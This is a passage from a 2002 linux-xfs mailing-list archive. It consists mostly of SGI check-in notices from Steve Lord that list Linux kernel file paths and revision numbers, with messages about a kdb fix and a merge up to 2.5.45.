1.5 linux/fs/intermezzo/vfs.c - 1.7 linux/include/linux/intermezzo_psdev.h - 1.2 linux/include/linux/intermezzo_fs.h - 1.4 linux/include/linux/fsfilter.h - 1.2 linux/include/linux/ext3_fs.h - 1.4 linux/fs/jbd/revoke.c - 1.4 linux/fs/jbd/transaction.c - 1.4 linux/fs/nfs/pagelist.c - 1.4 linux/fs/reiserfs/procfs.c - 1.5 linux/fs/jbd/commit.c - 1.4 linux/fs/intermezzo/cache.c - 1.2 linux/fs/jbd/checkpoint.c - 1.3 linux/fs/intermezzo/Makefile - 1.2 linux/fs/intermezzo/dir.c - 1.4 linux/fs/intermezzo/dcache.c - 1.4 linux/drivers/net/pcmcia/axnet_cs.c - 1.3 linux/drivers/char/drm/sis_mm.c - 1.2 linux/net/ipv4/tcp_diag.c - 1.2 linux/drivers/char/drm/sis_ds.c - 1.3 linux/drivers/char/drm/sis_drm.h - 1.2 linux/drivers/scsi/aacraid/sap1sup.c - 1.2 linux/drivers/scsi/aacraid/Makefile - 1.3 linux/drivers/scsi/aacraid/rx.c - 1.3 linux/drivers/scsi/aacraid/linit.c - 1.3 linux/drivers/scsi/aacraid/README - 1.3 linux/drivers/scsi/aacraid/dpcsup.c - 1.3 linux/drivers/scsi/aacraid/aachba.c - 1.3 linux/drivers/scsi/aacraid/commsup.c - 1.3 linux/drivers/scsi/aacraid/comminit.c - 1.3 linux/drivers/scsi/aacraid/commctrl.c - 1.2 linux/drivers/scsi/aacraid/aacraid.h - 1.3 linux/fs/xattr.c - 1.9 linux/include/linux/xattr.h - 1.3 linux/drivers/char/drm-4.0/tdfx_drv.c - 1.2 linux/drivers/net/mii.c - 1.3 linux/fs/nls/nls_cp1250.c - 1.2 linux/drivers/s390/sysinfo.c - 1.2 linux/include/asm-ppc/pmac_feature.h - 1.4 linux/drivers/macintosh/apm_emu.c - 1.3 linux/drivers/usb/serial/kl5kusb105.h - 1.2 linux/arch/ppc/kernel/pmac_feature.c - 1.4 linux/drivers/usb/stv680.c - 1.3 linux/drivers/usb/serial/kl5kusb105.c - 1.2 linux/drivers/usb/serial/ipaq.h - 1.3 linux/drivers/usb/stv680.h - 1.2 linux/drivers/usb/serial/ipaq.c - 1.3 linux/net/ipv6/netfilter/ip6_queue.c - 1.3 linux/drivers/usb/vicam.c - 1.3 linux/drivers/usb/vicam.h - 1.2 linux/drivers/i2c/i2c-keywest.c - 1.3 linux/drivers/usb/vicamurbs.h - 1.2 linux/drivers/char/drm-4.0/i810_dma.c - 1.3 linux/net/ipv4/netfilter/ipt_ULOG.c - 1.4 linux/drivers/video/tridentfb.c - 1.5 linux/net/ipv4/netfilter/ipt_ah.c - 1.2 linux/drivers/char/drm-4.0/ffb_drv.c - 1.2 linux/drivers/bluetooth/hci_usb.h - 1.2 linux/drivers/bluetooth/hci_ldisc.c - 1.2 linux/drivers/bluetooth/dtl1_cs.c - 1.2 linux/drivers/char/alim7101_wdt.c - 1.2 linux/drivers/block/umem.c - 1.4 linux/drivers/char/hcdp_serial.c - 1.3 linux/drivers/char/indydog.c - 1.2 linux/drivers/char/sc1200wdt.c - 1.2 linux/drivers/char/sc520_wdt.c - 1.2 linux/drivers/char/wafer5823wdt.c - 1.2 linux/drivers/hotplug/ibmphp.h - 1.2 linux/drivers/hotplug/ibmphp_core.c - 1.2 linux/Documentation/networking/pktgen.txt - 1.2 linux/drivers/block/cciss_scsi.c - 1.2 linux/drivers/hotplug/ibmphp_ebda.c - 1.2 linux/drivers/hotplug/ibmphp_hpc.c - 1.2 linux/drivers/hotplug/ibmphp_pci.c - 1.2 linux/drivers/hotplug/ibmphp_res.c - 1.2 linux/drivers/hotplug/pcihp_acpi.c - 1.2 linux/drivers/hotplug/pcihp_acpi.h - 1.2 linux/drivers/hotplug/pcihp_acpi_ctrl.c - 1.2 linux/drivers/hotplug/pcihp_acpi_glue.c - 1.2 linux/Documentation/usb/auerswald.txt - 1.2 linux/drivers/ide/ide-swarm.c - 1.2 linux/drivers/ieee1394/amdtp.c - 1.4 linux/Documentation/video4linux/bttv/README.freeze - 1.2 linux/drivers/ieee1394/dv1394-private.h - 1.4 linux/drivers/ieee1394/dv1394.c - 1.4 linux/drivers/ieee1394/eth1394.c - 1.3 linux/drivers/ieee1394/eth1394.h - 1.2 linux/drivers/message/fusion/mptctl.h - 1.2 linux/net/core/wireless.c - 1.2 linux/net/core/pktgen.c - 1.2 linux/drivers/mtd/maps/pb1xxx-flash.c - 1.2 linux/net/bluetooth/sco.c - 1.2 linux/net/bluetooth/l2cap.c - 1.2 linux/net/bluetooth/hci_event.c - 1.2 linux/net/bluetooth/hci_conn.c - 1.3 linux/drivers/net/sb1250-mac.c - 1.3 linux/drivers/net/tg3.c - 1.5 linux/drivers/net/tg3.h - 1.4 linux/drivers/net/tokenring/3c359.c - 1.2 linux/init/do_mounts.c - 1.4 linux/include/net/iw_handler.h - 1.2 linux/drivers/net/wan/8253x/crc32.c - 1.3 linux/arch/ppc64/xmon/xmon.c - 1.2 linux/arch/ppc64/xmon/start.c - 1.2 linux/arch/ppc64/xmon/privinst.h - 1.2 linux/include/linux/namespace.h - 1.2 linux/arch/ppc64/mm/init.c - 1.2 linux/arch/ppc64/mm/fault.c - 1.2 linux/arch/ppc64/lib/string.S - 1.2 linux/arch/ppc64/kernel/xics.c - 1.2 linux/arch/ppc64/kernel/udbg.c - 1.2 linux/arch/ppc64/kernel/traps.c - 1.2 linux/arch/ppc64/kernel/time.c - 1.2 linux/arch/ppc64/kernel/sys_ppc32.c - 1.2 linux/arch/ppc64/kernel/stab.c - 1.2 linux/arch/ppc64/kernel/smp.c - 1.2 linux/arch/ppc64/kernel/signal32.c - 1.2 linux/arch/ppc64/kernel/signal.c - 1.2 linux/arch/ppc64/kernel/setup.c - 1.2 linux/arch/ppc64/kernel/rtasd.c - 1.2 linux/arch/ppc64/kernel/rtas.c - 1.2 linux/arch/ppc64/kernel/ptrace32.c - 1.2 linux/arch/ppc64/kernel/ptrace.c - 1.2 linux/arch/ppc64/kernel/prom.c - 1.2 linux/arch/ppc64/kernel/process.c - 1.2 linux/arch/ppc64/kernel/proc_pmc.c - 1.2 linux/arch/ppc64/kernel/ppc_ksyms.c - 1.2 linux/arch/ppc64/kernel/pmc.c - 1.2 linux/arch/ppc64/kernel/pci_dn.c - 1.2 linux/arch/ppc64/kernel/pci_dma.c - 1.2 linux/arch/ppc64/kernel/pci.c - 1.2 linux/arch/ppc64/kernel/pacaData.c - 1.2 linux/arch/ppc64/kernel/pSeries_pci.c - 1.2 linux/arch/ppc64/kernel/pSeries_lpar.c - 1.2 linux/include/asm-ppc64/vga.h - 1.2 linux/include/asm-ppc64/udbg.h - 1.2 linux/include/asm-ppc64/uaccess.h - 1.2 linux/include/asm-ppc64/types.h - 1.2 linux/include/asm-ppc64/timex.h - 1.2 linux/include/asm-ppc64/time.h - 1.2 linux/include/asm-ppc64/termios.h - 1.2 linux/include/asm-ppc64/system.h - 1.2 linux/include/asm-ppc64/softirq.h - 1.2 linux/include/asm-ppc64/smplock.h - 1.2 linux/include/asm-ppc64/siginfo.h - 1.2 linux/include/asm-ppc64/semaphore.h - 1.2 linux/include/asm-ppc64/rtas.h - 1.2 linux/include/asm-ppc64/prom.h - 1.2 linux/include/asm-ppc64/processor.h - 1.2 linux/include/asm-ppc64/ppcdebug.h - 1.2 linux/include/asm-ppc64/pmc.h - 1.2 linux/include/asm-ppc64/pgtable.h - 1.2 linux/include/asm-ppc64/pci.h - 1.2 linux/include/asm-ppc64/page.h - 1.2 linux/include/asm-ppc64/paca.h - 1.2 linux/include/asm-ppc64/naca.h - 1.2 linux/include/asm-ppc64/mmu.h - 1.2 linux/include/asm-ppc64/machdep.h - 1.2 linux/include/asm-ppc64/lmb.h - 1.2 linux/include/asm-ppc64/io.h - 1.2 linux/arch/ia64/sn/fakeprom/README - 1.2 linux/arch/ia64/sn/fakeprom/fpmem.c - 1.2 linux/arch/ia64/sn/fakeprom/fw-emu.c - 1.2 linux/include/asm-ppc64/iSeries/iSeries_pci.h - 1.2 linux/include/asm-ppc64/iSeries/LparData.h - 1.2 linux/arch/ia64/sn/io/efi-rtc.c - 1.2 linux/include/asm-ppc64/iSeries/HvCallSc.h - 1.2 linux/include/asm-ppc64/iSeries/HvCall.h - 1.2 linux/include/asm-ppc64/floppy.h - 1.2 linux/include/asm-ppc64/fcntl.h - 1.2 linux/include/asm-ppc64/eeh.h - 1.2 linux/include/asm-ppc64/delay.h - 1.2 linux/arch/ia64/sn/kernel/llsc4.c - 1.2 linux/arch/ia64/sn/kernel/misctest.c - 1.2 linux/arch/ia64/sn/kernel/sn_ksyms.c - 1.2 linux/include/asm-ppc64/byteorder.h - 1.2 linux/arch/ppc64/kernel/open_pic.c - 1.2 linux/arch/ppc64/kernel/mk_defs.c - 1.2 linux/arch/ppc64/kernel/misc.S - 1.2 linux/arch/ppc64/kernel/mf.c - 1.2 linux/arch/ppc64/kernel/lmb.c - 1.2 linux/arch/ppc64/kernel/irq.c - 1.2 linux/arch/ppc64/kernel/ioctl32.c - 1.2 linux/include/asm-mips64/time.h - 1.3 linux/include/asm-mips64/sibyte/swarm_ide.h - 1.2 linux/include/asm-mips64/sibyte/swarm.h - 1.2 linux/include/asm-mips64/sibyte/sbmips.h - 1.3 linux/include/asm-mips64/sibyte/sb1250regs.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_uart.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_syncser.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_smbus.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_scd.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_regs.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_pci.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_mc.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_mac.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_ldt.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_l2c.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_io.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_int.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_genbus.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_dma.h - 1.2 linux/include/asm-mips64/sibyte/sb1250_defs.h - 1.3 linux/include/asm-mips64/sibyte/sb1250.h - 1.2 linux/include/asm-mips64/sibyte/64bit.h - 1.2 linux/include/asm-mips64/ip32/mace.h - 1.3 linux/include/asm-mips64/gt64120.h - 1.2 linux/include/asm-mips64/gdb-stub.h - 1.3 linux/include/asm-mips64/exception.h - 1.3 linux/arch/ppc64/kernel/iSeries_setup.c - 1.2 linux/arch/ppc64/kernel/iSeries_pci_reset.c - 1.2 linux/arch/ppc64/kernel/iSeries_pci.c - 1.2 linux/arch/ppc64/kernel/iSeries_IoMmTable.c - 1.2 linux/arch/mips/au1000/common/clocks.c - 1.2 linux/arch/mips/au1000/common/dma.c - 1.2 linux/arch/ppc64/kernel/htab.c - 1.2 linux/arch/mips/au1000/common/power.c - 1.2 linux/arch/ppc64/kernel/head.S - 1.2 linux/arch/mips/au1000/common/rtc.c - 1.2 linux/arch/ppc64/kernel/entry.S - 1.2 linux/arch/ppc64/kernel/eeh.c - 1.2 linux/arch/mips/au1000/common/usbdev.c - 1.2 linux/include/asm-mips/sibyte/swarm_ide.h - 1.2 linux/include/asm-mips/sibyte/swarm.h - 1.2 linux/arch/mips/au1000/pb1000/pci_fixup.c - 1.2 linux/arch/mips/au1000/pb1000/pci_ops.c - 1.2 linux/include/asm-mips/sibyte/sb1250_uart.h - 1.2 linux/arch/mips/au1000/pb1500/Makefile - 1.2 linux/arch/mips/au1000/pb1500/init.c - 1.2 linux/arch/mips/au1000/pb1500/pci_fixup.c - 1.2 linux/arch/mips/au1000/pb1500/pci_ops.c - 1.2 linux/arch/mips/au1000/pb1500/setup.c - 1.2 linux/include/asm-mips/sibyte/sb1250_syncser.h - 1.2 linux/include/asm-mips/sibyte/sb1250_smbus.h - 1.2 linux/include/asm-mips/sibyte/sb1250_scd.h - 1.2 linux/include/asm-mips/sibyte/sb1250_regs.h - 1.2 linux/include/asm-mips/sibyte/sb1250_prof.h - 1.2 linux/include/asm-mips/sibyte/sb1250_pci.h - 1.2 linux/include/asm-mips/sibyte/sb1250_mc.h - 1.2 linux/include/asm-mips/sibyte/sb1250_mac.h - 1.2 linux/include/asm-mips/sibyte/sb1250_ldt.h - 1.2 linux/include/asm-mips/sibyte/sb1250_l2c.h - 1.2 linux/include/asm-mips/sibyte/sb1250_int.h - 1.2 linux/include/asm-mips/sibyte/sb1250_genbus.h - 1.2 linux/include/asm-mips/sibyte/sb1250_dma.h - 1.2 linux/arch/mips/cobalt/irq.c - 1.3 linux/include/asm-mips/sibyte/sb1250_defs.h - 1.3 linux/arch/mips/cobalt/promcon.c - 1.2 linux/include/asm-mips/sibyte/sb1250.h - 1.2 linux/include/asm-mips/sibyte/64bit.h - 1.2 linux/arch/ppc64/kernel/chrp_setup.c - 1.2 linux/arch/ppc64/kernel/align.c - 1.2 linux/arch/ppc64/kernel/XmPciLpEvent.c - 1.2 linux/arch/ppc64/kernel/Makefile - 1.2 linux/arch/ppc64/kernel/LparData.c - 1.2 linux/arch/ppc64/defconfig - 1.2 linux/arch/ppc64/configs/pSeries_defconfig - 1.2 linux/include/asm-mips/pb1500.h - 1.2 linux/include/asm-mips/pb1000.h - 1.2 linux/arch/ppc64/configs/iSeries_nodevfs_ideemul_defconfig - 1.2 linux/arch/ppc64/configs/iSeries_devfs_defconfig - 1.2 linux/arch/ppc64/config.in - 1.2 linux/arch/mips/ddb5xxx/ddb5476/Makefile - 1.2 linux/arch/mips/ddb5xxx/ddb5476/int-handler.S - 1.2 linux/arch/mips/ddb5xxx/ddb5476/irq.c - 1.2 linux/arch/mips/ddb5xxx/ddb5476/nile4_pic.c - 1.2 linux/arch/mips/ddb5xxx/ddb5476/pci.c - 1.2 linux/arch/mips/ddb5xxx/ddb5476/pci_ops.c - 1.2 linux/arch/mips/ddb5xxx/ddb5476/setup.c - 1.2 linux/arch/mips/ddb5xxx/ddb5476/vrc5476_irq.c - 1.2 linux/include/asm-mips/kmap_types.h - 1.2 linux/arch/ppc64/boot/zImage.c - 1.2 linux/arch/ppc64/boot/addSystemMap.c - 1.2 linux/include/asm-mips/galileo-boards/gt96100.h - 1.2 linux/include/asm-mips/galileo-boards/ev96100int.h - 1.2 linux/include/asm-mips/galileo-boards/ev96100.h - 1.2 linux/include/asm-mips/galileo-boards/ev64120.h - 1.2 linux/arch/ppc64/boot/addRamDisk.c - 1.2 linux/arch/mips/defconfig-ev64120 - 1.3 linux/arch/mips/defconfig-ev96100 - 1.3 linux/arch/ppc64/Makefile - 1.2 linux/include/asm-mips/debug.h - 1.2 linux/include/asm-mips/ddb5xxx/ddb5476.h - 1.2 linux/arch/mips/defconfig-pb1500 - 1.3 linux/drivers/net/wan/comx-hw-munich.c - 1.2 linux/arch/mips/defconfig-sb1250-swarm - 1.3 linux/arch/mips/galileo-boards/ev64120/cntmr.c - 1.2 linux/arch/mips/galileo-boards/ev64120/compressed/Makefile - 1.3 linux/arch/mips/galileo-boards/ev64120/compressed/README - 1.2 linux/arch/mips/galileo-boards/ev64120/compressed/burner.c - 1.3 linux/arch/mips/galileo-boards/ev64120/compressed/doit.c - 1.2 linux/arch/mips/galileo-boards/ev64120/compressed/flashdrv.c - 1.2 linux/arch/mips/galileo-boards/ev64120/compressed/head.S - 1.2 linux/arch/mips/galileo-boards/ev64120/compressed/ld.script.gal - 1.2 linux/arch/mips/galileo-boards/ev64120/compressed/ld.sys.big.Flash - 1.2 linux/arch/mips/galileo-boards/ev64120/compressed/ld.sys.big.Flash2 - 1.2 linux/arch/mips/galileo-boards/ev64120/compressed/meminit.S - 1.2 linux/arch/mips/galileo-boards/ev64120/compressed/memory.c - 1.2 linux/arch/mips/galileo-boards/ev64120/compressed/misc.c - 1.2 linux/arch/mips/galileo-boards/ev64120/compressed/pci.c - 1.2 linux/arch/mips/galileo-boards/ev64120/compressed/pci_etherboot.c - 1.3 linux/arch/mips/galileo-boards/ev64120/compressed/sbdreset_evb64120A.S - 1.3 linux/arch/mips/galileo-boards/ev64120/dma.c - 1.2 linux/arch/mips/galileo-boards/ev64120/i2o.c - 1.2 linux/arch/mips/galileo-boards/ev64120/int-handler.S - 1.3 linux/arch/mips/galileo-boards/ev64120/irq-handler.c - 1.2 linux/arch/mips/galileo-boards/ev64120/irq.c - 1.3 linux/arch/mips/galileo-boards/ev64120/pci_bios.c - 1.2 linux/arch/mips/galileo-boards/ev64120/promcon.c - 1.3 linux/arch/mips/galileo-boards/ev64120/serialGT.c - 1.2 linux/arch/mips/galileo-boards/ev64120/setup.c - 1.3 linux/arch/mips/galileo-boards/ev96100/init.c - 1.3 linux/arch/mips/galileo-boards/ev96100/irq.c - 1.2 linux/arch/mips/galileo-boards/ev96100/pci_fixups.c - 1.2 linux/arch/mips/galileo-boards/ev96100/pci_ops.c - 1.2 linux/arch/mips/galileo-boards/ev96100/setup.c - 1.2 linux/arch/mips/galileo-boards/ev96100/time.c - 1.3 linux/arch/mips/galileo-boards/generic/Makefile - 1.3 linux/arch/mips/galileo-boards/generic/reset.c - 1.3 linux/include/asm-mips/cobalt/cobalt.h - 1.3 linux/drivers/pcmcia/au1000_generic.c - 1.2 linux/drivers/pcmcia/au1000_pb1000.c - 1.2 linux/include/asm-mips/au1000_pcmcia.h - 1.3 linux/include/asm-mips/au1000_gpio.h - 1.2 linux/include/asm-mips/au1000_dma.h - 1.3 linux/drivers/scsi/aic7xxx/aic7xxx_core.c - 1.3 linux/drivers/scsi/aic7xxx/aic7xxx_host.h - 1.2 linux/arch/ppc/boot/simple/misc-embedded.c - 1.2 linux/arch/mips/kernel/irq_cpu.c - 1.3 linux/include/asm-ia64/sn/sn2/shub_md.h - 1.2 linux/include/asm-ia64/machvec_sn2.h - 1.2 linux/arch/ppc/boot/simple/legacy.S - 1.2 linux/arch/ppc/boot/simple/head.S - 1.2 linux/arch/ppc/boot/simple/Makefile - 1.2 linux/drivers/sound/au1000.c - 1.5 linux/arch/ppc/boot/ld.script - 1.2 linux/arch/ppc/boot/common/util.S - 1.2 linux/arch/ppc/boot/common/relocate.S - 1.3 linux/drivers/sound/swarm_cs4297a.c - 1.4 linux/drivers/usb/auerswald.c - 1.3 linux/drivers/usb/brlvger.c - 1.2 linux/drivers/usb/hcd.c - 1.2 linux/drivers/usb/hcd.h - 1.2 linux/drivers/usb/hcd/ehci-hcd.c - 1.2 linux/drivers/usb/hcd/ehci-q.c - 1.2 linux/arch/mips64/sgi-ip32/ip32-reset.c - 1.2 linux/drivers/usb/hcd/ehci-sched.c - 1.2 linux/drivers/usb/rtl8150.c - 1.3 linux/arch/mips64/sgi-ip27/ip27-dbe-glue.S - 1.2 linux/arch/mips/mm/c-andes.c - 1.2 linux/arch/mips/mm/c-mips32.c - 1.3 linux/arch/mips/mm/c-r3k.c - 1.2 linux/arch/mips/mm/c-r4k.c - 1.3 linux/arch/mips/mm/c-r5432.c - 1.2 linux/arch/mips/mm/c-rm7k.c - 1.3 linux/arch/mips/mm/c-sb1.c - 1.3 linux/arch/mips/mm/c-tx39.c - 1.2 linux/arch/mips/mm/c-tx49.c - 1.3 linux/arch/mips/mm/pg-r4k.S - 1.3 linux/arch/mips/mm/pg-sb1.c - 1.2 linux/arch/mips/mm/tlb-r3k.c - 1.3 linux/arch/mips/mm/tlb-r4k.c - 1.2 linux/arch/mips/mm/tlb-sb1.c - 1.3 linux/arch/mips/mm/tlbex-r3k.S - 1.3 linux/arch/mips/mm/tlbex-r4k.S - 1.3 linux/drivers/video/pm3fb.h - 1.2 linux/arch/mips64/mm/tlbex-r4k.S - 1.3 linux/arch/mips/sgi-ip22/Makefile - 1.3 linux/arch/mips/sgi-ip22/ip22-int.c - 1.3 linux/arch/mips/sgi-ip22/ip22-irq.S - 1.2 linux/arch/mips/sgi-ip22/ip22-mc.c - 1.3 linux/arch/mips/sgi-ip22/ip22-reset.c - 1.2 linux/arch/mips/sgi-ip22/ip22-sc.c - 1.2 linux/arch/mips/sgi-ip22/ip22-setup.c - 1.3 linux/arch/mips/sgi-ip22/ip22-system.c - 1.3 linux/arch/mips/sgi-ip22/ip22-time.c - 1.3 linux/arch/mips/sibyte/sb1/cache_err_handler.S - 1.2 linux/arch/mips/sibyte/sb1/cache_error.c - 1.2 linux/arch/mips/sibyte/sb1250/Makefile - 1.3 linux/arch/mips/sibyte/sb1250/bcm1250_tbprof.c - 1.2 linux/arch/mips/sibyte/sb1250/bcm1250_tbprof.h - 1.2 linux/arch/mips/sibyte/sb1250/irq.c - 1.2 linux/arch/mips/sibyte/sb1250/irq_handler.S - 1.2 linux/arch/mips/sibyte/sb1250/lib_hssubr.S - 1.2 linux/arch/mips/sibyte/sb1250/lib_hssubr.h - 1.2 linux/arch/mips/sibyte/sb1250/pci.c - 1.3 linux/arch/mips/sibyte/sb1250/setup.c - 1.2 linux/arch/mips/sibyte/sb1250/smp.c - 1.2 linux/arch/mips/sibyte/sb1250/time.c - 1.3 linux/arch/mips/sibyte/swarm/Makefile - 1.3 linux/arch/mips/sibyte/swarm/cfe_api.c - 1.3 linux/arch/mips/sibyte/swarm/cfe_api.h - 1.3 linux/arch/mips/sibyte/swarm/cfe_error.h - 1.2 linux/arch/mips/sibyte/swarm/cfe_xiocb.h - 1.2 linux/arch/mips/sibyte/swarm/cmdline.c - 1.2 linux/arch/mips/sibyte/swarm/memory.c - 1.2 linux/arch/mips/sibyte/swarm/rtc.c - 1.2 linux/arch/mips/sibyte/swarm/setup.c - 1.3 linux/arch/mips/sibyte/swarm/smp.c - 1.3 linux/arch/mips/sibyte/swarm/time.c - 1.2 linux/arch/mips64/mm/tlb-sb1.c - 1.3 linux/arch/mips64/mm/pg-sb1.c - 1.2 linux/arch/mips64/mm/c-sb1.c - 1.3 linux/arch/mips64/kernel/time.c - 1.3 linux/arch/mips64/kernel/pci-dma.c - 1.3 linux/arch/mips64/kernel/irq_cpu.c - 1.2 linux/arch/mips64/kernel/irq.c - 1.3 linux/arch/mips64/defconfig-atlas - 1.3 linux/arch/mips64/kernel/i8259.c - 1.2 linux/arch/mips64/defconfig-malta - 1.3 linux/arch/mips64/defconfig-sb1250-swarm - 1.3 linux/include/asm-mips/mips-boards/msc01_pci.h - 1.2 linux/include/asm-mips/galileo-boards/evb64120A/dma.h - 1.2 linux/arch/mips/sgi-ip22/ip22-gio.c - 1.2 linux/include/asm-mips/galileo-boards/evb64120A/eeprom_param.h - 1.2 linux/arch/mips/sgi-ip22/ip22-berr.c - 1.2 linux/include/asm-mips/dec/kn02ba.h - 1.2 linux/include/asm-mips/sgi/sgigio.h - 1.2 linux/arch/mips/sibyte/swarm/rtc_xicor1241.c - 1.2 linux/include/asm-mips/galileo-boards/evb64120A/pci.h - 1.2 linux/include/asm-mips/dec/kn02ca.h - 1.2 linux/include/asm-mips/dec/kn230.h - 1.2 linux/include/asm-mips/war.h - 1.2 linux/include/asm-mips/pgtable-bits.h - 1.2 linux/include/asm-mips/mips-boards/bonito64.h - 1.2 linux/include/asm-mips/dec/kn05.h - 1.2 linux/include/asm-mips64/mips-boards/bonito64.h - 1.2 linux/include/asm-mips/galileo-boards/evb64120A/cntmr.h - 1.2 linux/include/asm-mips/galileo-boards/evb64120A/core.h - 1.2 linux/include/asm-mips/galileo-boards/evb64120A/flashdrv.h - 1.2 linux/include/asm-mips/galileo-boards/evb64120A/i2o.h - 1.2 linux/include/asm-mips64/mips-boards/msc01_pci.h - 1.2 linux/arch/mips/dec/ioasic-irq.c - 1.2 linux/arch/mips/dec/kn02-irq.c - 1.2 From owner-linux-xfs@oss.sgi.com Mon Nov 4 11:53:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 04 Nov 2002 11:53:37 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA4JrVuR001381 for ; Mon, 4 Nov 2002 11:53:31 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA21718 for ; Mon, 4 Nov 2002 13:54:26 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA33696 for ; Mon, 4 Nov 2002 13:54:26 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gA4JrQe17592; Mon, 4 Nov 2002 13:53:26 -0600 Message-Id: <200211041953.gA4JrQe17592@jen.americas.sgi.com> Date: Mon, 4 Nov 2002 13:53:26 -0600 Subject: TAKE - fix kdb in 2.4.20-rc1 To: linux-xfs@oss.sgi.com X-archive-position: 1498 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Date: Mon Nov 4 11:54:09 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:131957a linux/kdb/modules/kdbm_pg.c - 1.60 From owner-linux-xfs@oss.sgi.com Mon Nov 4 12:43:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 04 Nov 2002 12:43:51 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA4KhhuR003179 for ; Mon, 4 Nov 2002 12:43:43 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id MAA06064 for ; Mon, 4 Nov 2002 12:44:42 -0800 (PST) mail_from (lord@sgi.com) Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA14229 for ; Mon, 4 Nov 2002 14:34:44 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA50492 for ; Mon, 4 Nov 2002 14:34:43 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gA4KXhg20207; Mon, 4 Nov 2002 14:33:43 -0600 Message-Id: <200211042033.gA4KXhg20207@jen.americas.sgi.com> Date: Mon, 4 Nov 2002 14:33:43 -0600 Subject: TAKE - merge up to 2.5.45 To: linux-xfs@oss.sgi.com X-archive-position: 1499 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Also updates kdb Date: Mon Nov 4 12:19:10 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-merge.2.5 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:131961a linux/include/linux/kobject.h - 1.1 linux/drivers/media/dvb/Makefile - 1.1 linux/Documentation/BK-usage/00-INDEX - 1.1 linux/sound/isa/Kconfig - 1.1 linux/drivers/media/dvb/av7110/Kconfig - 1.1 linux/drivers/media/dvb/av7110/av7110.c - 1.1 linux/drivers/mtd/nand/Kconfig - 1.1 linux/drivers/bluetooth/Kconfig - 1.1 linux/drivers/mtd/maps/Kconfig - 1.1 linux/Documentation/crypto/api-intro.txt - 1.1 linux/Documentation/crypto/descore-readme.txt - 1.1 linux/drivers/net/Kconfig - 1.1 linux/include/linux/isdn/fsm.h - 1.1 linux/Documentation/filesystems/befs.txt - 1.1 linux/sound/drivers/Kconfig - 1.1 linux/drivers/net/appletalk/Kconfig - 1.1 linux/drivers/net/arcnet/Kconfig - 1.1 linux/drivers/mtd/devices/Kconfig - 1.1 linux/drivers/mtd/chips/Kconfig - 1.1 linux/Documentation/kobject.txt - 1.1 linux/drivers/mtd/Kconfig - 1.1 linux/sound/core/Kconfig - 1.1 linux/drivers/net/hamradio/Kconfig - 1.1 linux/drivers/misc/Kconfig - 1.1 linux/drivers/net/irda/Kconfig - 1.1 linux/sound/arm/Kconfig - 1.1 linux/Documentation/voyager.txt - 1.1 linux/drivers/message/i2o/Kconfig - 1.1 linux/drivers/net/pcmcia/Kconfig - 1.1 linux/net/decnet/Kconfig - 1.1 linux/drivers/net/tokenring/Kconfig - 1.1 linux/arch/alpha/Kconfig - 1.1 linux/drivers/message/fusion/Kconfig - 1.1 linux/arch/parisc/math-emu/hppa.h - 1.1 linux/arch/arm/Kconfig - 1.1 linux/drivers/net/tulip/Kconfig - 1.1 linux/sound/Kconfig - 1.1 linux/security/Kconfig - 1.1 linux/arch/arm/mach-arc/Kconfig - 1.1 linux/drivers/md/dm-linear.c - 1.1 linux/scripts/kconfig/zconf.y - 1.1 linux/arch/arm/mach-clps711x/Kconfig - 1.1 linux/scripts/kconfig/zconf.tab.h_shipped - 1.1 linux/scripts/kconfig/zconf.tab.c_shipped - 1.1 linux/arch/arm/mach-epxa10db/Kconfig - 1.1 linux/scripts/kconfig/zconf.l - 1.1 linux/scripts/kconfig/symbol.c - 